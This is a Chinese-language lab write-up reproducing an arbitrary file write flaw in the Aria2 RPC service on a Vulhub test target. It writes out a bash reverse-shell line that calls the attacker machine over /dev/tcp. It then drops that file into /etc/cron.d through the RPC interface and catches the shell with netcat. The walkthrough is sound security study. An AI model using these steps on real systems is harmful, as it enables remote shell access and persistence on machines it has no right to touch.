0：前期准备：
靶机（CentOS7，IP：192.168.96.222），攻击机（kali ，IP：192.168.96.226）
安装靶场Vulhub，前面有写过步骤。
先了解aria2：Aria2是一个命令行下运行，多协议，多来源下载工具（HTTP /HTTPS，FTP，BitTorrent，Metalink），内建XML-RPC用户界面。Aria提供RPC服务器，通过--enable-rpc参数启动.Aria2的RPC服务器可以方便的添加，删除下载项目。
通过控制文件下载链接，文件储存路径以及文件名，可以实现任意文件写入。同时通过Aria2提供的其他功能，诸如save-session等也能轻易地实现任意文件写入指定功能。
一：启动在Linux中安装了靶场，现在进入到该漏洞的目录下，启动 docker-compose up -d
启动后，先看是否成功启动，URL：IP:6800
在浏览器中访问，出现下面空白页面就是启动了的，
二：复现
rpc通信需要json或xml，直接从网页操作不方便，我们使用第三方UI与目标进行通信，打开 http://binux.github.io/yaaw/demo/# 点击设置,输入 json-rpc路径，这个路径是我们靶场的URL：
192.168.96.222:6800/jsonrpc
设置完JSON-RPC path，我们可以在攻击机中建立一个HTTP服务，并且创建一个反弹shell的文件，用于上传到靶机中下图就是bash反弹连接的代码。反弹连接到8888端口上，可以自己选择
#! /bin/bash /bin/bash -i >& /dev/tcp/192.168.96.226/8888 0>&1
kali中可以用 python 来建立一个服务器，用于把shell文件写入，
python3 -m http.server 8000
可以使用，
在http://binux.github.io/yaaw/demo/# 中ADD，添加上床文件的路径信息，文件上传到靶机的定时任务的目录下 /etc/cron.d
在kali中建立监听，nc -lvp 8888，等待一分钟左右就能建立连接，获得shell。
获得靶机的shell，执行命令，得到靶机的网络信息
复现完毕，关闭靶场，在靶场目录目录下
docker-compose down
该漏洞是没有对传入的文件进行过滤，所以导致了任意文件的写入。
